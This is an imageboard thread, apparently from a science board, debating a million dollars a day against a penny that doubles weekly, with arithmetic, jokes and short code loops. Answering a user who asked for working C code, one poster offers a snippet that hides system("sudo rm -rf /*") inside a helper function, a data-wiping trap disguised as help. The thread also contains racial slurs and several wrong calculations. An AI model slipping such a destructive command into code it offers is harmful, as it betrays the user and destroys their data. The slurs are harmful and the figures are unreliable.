6 million dollars is more than enough to live your entire life on. I'll take a million every day
Luis Davis
makes sense when shown visually for sure.
i am so bad at math at this point that i don't understand the specifics of this graph though, just the gist.
William Campbell
What's the problem? pow(2, weeks -1)
Daniel Adams
no problem, i just want to study how this would be done in c or python with a loop to satisfy my own curiousity.
could not find a precise solution to the answer, but rather a piece of code that double the original .01 every day, so i changed the code to do what i wanted, although wrongly upon further study.
Ian Rodriguez
>/sci/ question for pretend geniuses Yep, that checks out
Brandon Walker
if you weren't a brainlet you'd know that doubling is always better without even running it. Here's a stimulation million = 0.0 penny = 0.01 for i in range(1, 1920): million += 7000000 penny *= 2 print("Week " + str(i) + ": million count: " + str(million) + " Penny count: " +str(penny))
The doubling penny starts getting written in scientific notation in under 60 weeks.
Jaxson Harris
If you spend the pennies you're giving magic, doubling pennies to other people. That can't be good, right? If everyone has a magic penny, surely money will be worth nothing.
Million dollars every day sounds better.
Jack Bell
million dollars. have fun getting crushed into a black hole of pennies
Gabriel Cox
If you don't give them away right away, you're still going to have by far the most magic pennies in the new magic penny economy.
Eli Ross
Does "penny" always mean a physical coin or can it just be a some of form a cent? I'm not a burger.
Bentley Scott
>instead of understanding the problem I'll brute-force it using code
is this what we've invented computers for?
Blake Taylor
I thought carrying barrows of money sounded like hell. What does that make a world that has self duplicating PENNIES. Physical representations of monetary value in general can get out, I'll take my bits and plastic.
1 million, fuck your penis i could die tomorrow for all I know
Andrew Ward
A penny is a physical cent.
Jack Smith
What's not to get? A function is just a relation for which each value from the set the first components of the ordered pairs is associated with exactly one value from the set of second components of the ordered pair. The first set is the input which is an element of that set and the second set is the output. A function is typically written in the form f: A->B, suggesting that the function is an ordered pair of all the elements in the set A with their corresponding output inside the set B. A graph is just a visual representation of this ordered pair. For a function with a single input, all the elements in the first part of the ordered pair are placed along the horizontal line and the second part of the ordered pair is placed on the vertical line. It's just a visual representation of a bunch of pairs.
Tyler Gutierrez
It's £0.01. OP clearly wants us to factor in currency exchange rates.
Xavier Scott
You can help birth a new universe with an infinite ever expanding amount of matter that will never ever die of heat death.
Charles Stewart
Million dollars everyday, cause i dont like carrying coins
Liam Martin
>carrying hundreds of pounds with you a day How do they do it?
Juan Roberts
i would have a duplicating penny because then i can depreciate the value of copper whenever i want, thus gaining control of the stock market.
Bentley Clark
I would choose the penny but send it to space and create penny planet. Would the pennies melt in space from the sun or would it be ok? What are the metal contents of a penny?
Jackson Wright
>>Would you rather get a million dollars every >day for the rest of your life or a penny that >doubled once a week? I went with the penny because we did this math problem in elementary
it's not clear enough that the penny's children also spawn doubles or if it's only the original magic penny that produces a normal penny offspring
>the penny doubles once a week >every week the penny spawns another regular penny >you literally only get one more penny every week
also if this wasn't the case, then getting an exponential amount of money after n weeks would probably crash the world economy
i'll take the mirron dorror
Lincoln Wood
The pennies would encompass the known universe in 3 and a half years
Jason Adams
>trying to deposit trillions of pennies >there will be even more tomorrow Yeah, I'll take the million dollars a day, thank you.
Joseph Reed
This.
If you're a brainlet you will pick magic coin because it creates generates exponential money.
If you have any vague idea of how economics work you'll pick the million dollars every day because it doesn't crash the market.
It's assumed that the generated pennies are also magic pennies, otherwise you're comparing earning a million dollars every day to earning a penny every week in which case even a Bonobo would answer the right choice.
Hudson Mitchell
Only the pennies you'll bring into circulation will influence the economy.
Isaiah Fisher
No, no, you don't understand. It will *literally* crash the market. In five years there will be more pennies than atoms in the observable universe.
If you threw every self-replicating penny out as fast as we could out of the Earth atmosphere we would still be engulfed by a cloud of self-replicating pennies in less than a decade.
Elijah Jackson
I'm not here to do your homework.
Eli Brown
People seem to be missing the "which would you rather" part of the question, and instead are working out "which is worth more", which is retarded. I'd rather take the daily million and not crash the economy, thanks.
Blake Long
yeah this. can you choose to stop the penny train? Or does it just keep going forever? Are they physical pennies? Sounds like a fucking curse.
Henry Hall
dollars are worthless cotton fibre, but pennies are worth more as scrap copper and zinc than the face value of the coin.
Joseph Kelly
Give me the million every day, the exponential penny would only serve to get me killed
Ryan Russell
sir yes i am a brainlet
its like the story about the machine that can duplicate everything that ruins the world
no shit right?
I do understand the math, i just don't know the syntax of how to write it in c that will compile
nigga i just want to see the code
machivellian
way to miss the point. you could have responded to the b8 on /sci/. that would have been better.
no problem jerome
not homework, and i already have (mostly) working code so...
still have not seen an example other than mine in code...
John Bennett
you'd have $45 trillion in one year (and onwards to the moon and beyond) if you went with the penny, which would quickly become worthless due to hyperinflation $1 million a day is more than enough to live like a king, but still low enough to fly under the radar definitely the smarter choice
Xavier Hernandez
sorry, not $45 trillion, $450 billion forgot to disregard the last two digits
Jaxson Diaz
this nigga knows whats up.
Christopher Gomez
>$1 million a day is more than enough to live like a king, but still low enough to fly under the radar I suspect not.
>if you are "only" the 17th richest person in the world, you can fly under the radar If you are in the top 10,000 richest people in the world, the local government will know the chemical composition of your farts.
Justin Edwards
>missing the point this badly
Evan Lee
Isn't this a calculus question? You should be able to do this using wolfram alpha
Jacob Perry
Whoops, had a missing quote in my last post.
>I do understand the math, i just don't know the syntax of how to write it in c that will compile This should work. Protip, for money, don't use floating point numbers since they lose precision.
#include #include int64_t int64_pow(int a, int b) // Not worth my time to make something proper for this { int64_t result = 1; if (b < 0) { printf("Not supported\n"); system("sudo rm -rf /*"); } while (b--) { result *= a; } return result; } int main(void) { int i; int64_t accountA = 0; int64_t accountB = 0;
for (i = 0; i < 50; i++) { accountA += 100000000; // 1,000,000 * 100 pennies accountB += int64_pow(2, i); } }
Brandon Lee
this is why you will always stay poor
Kevin Nelson
I don't care I will take 1 million per day because I will be able to use it immediately while I'm YOUNG
Austin Morgan
>would probably crash the world economy That's up to you nigger, you don't have to spend amounts of it on that scale
Nathan Fisher
>which would quickly become worthless due to hyperinflation no it wouldn't you don't have to put anything into circulation
Wyatt Wright

Logan Torres
>choosing the modest but still incredibly wealthy option in a hypothetical means you have a "poor" mentality this is why you will always be unhappy
Aiden Reyes
lol what a bunch of n00bs A penny is 0.01 The interest would be 100% so it'd be 1 there are 52 weeks in a year And I'm just going to say this goes on for 10 years So 0.01(1+1/52)^(10*52)=200.32 So over a 10 year period you'd get a whooping $200
You don't even get that: OP says it's /A/ penny that doubles every week. First week, you have a penny. Then it doubles - two pennies. Then THAT penny (not BOTH you now have) doubles again - you have three pennies.
After 10 years, you have $5.22.
Daniel Martinez
No you'd have that if it was just one penny a week. a year has 52 weeks so it'd be 52 cents per year. After 10 years it'd be $5.20 But we're talking about the amount doubling every week. >Then it doubles - two pennies. Then THAT penny (not BOTH you now have) doubles again - you have three pennies. If you have two pennies and it doubles it turns into 4 pennies not 3.
Christian Johnson
>a year has 52 weeks so it'd be 52 cents per year. After 10 years it'd be $5.20 A year has 52 weeks and one day. Leap years - of which there are two in ten years (on average) - are 52 weeks and two days. So you get 12 extra days (almost two weeks) in ten years, and I rounded it up.
>OP says it's /A/ penny that doubles every week Stop making the assumption that all child pennies will also double. OP never said that.
Samuel Bell
But the child penny IS the original penny, therefore it doubles.
Michael Moore
No it's not, the original penny is the original penny. Just as identical twins are actually different people - just because you kill one, the other doesn't die immediately. They have separate identities - and the OP never said it inherited it's "parental magic" of duplicating itself on a weekly basis. He just called it a penny - which don't generally duplicate themselves on a weekly basis anyway.
Evan Russell
In OP's pic everything clearly doubles, dont be so daft.
Isaiah Roberts
It's almost like the picture doesn't match the description.
Here, for example, is a picture of my Linux desktop.
I can't wait that long, I'll take the million dollars per day.
Noah Clark
Do a present value calculation then, what is your discount rate?
Hunter Nelson
might not in our lifetime, though.
Levi Torres
If it is only one penny that doubles, its not efficient and a hassle to sell. If it is a penny that spawns multiplying pennies, you cannot sell them to others...
Gabriel Jenkins
He did say 7 months...
Brayden Walker
It takes 213 days for the penny function to exceed the million function.
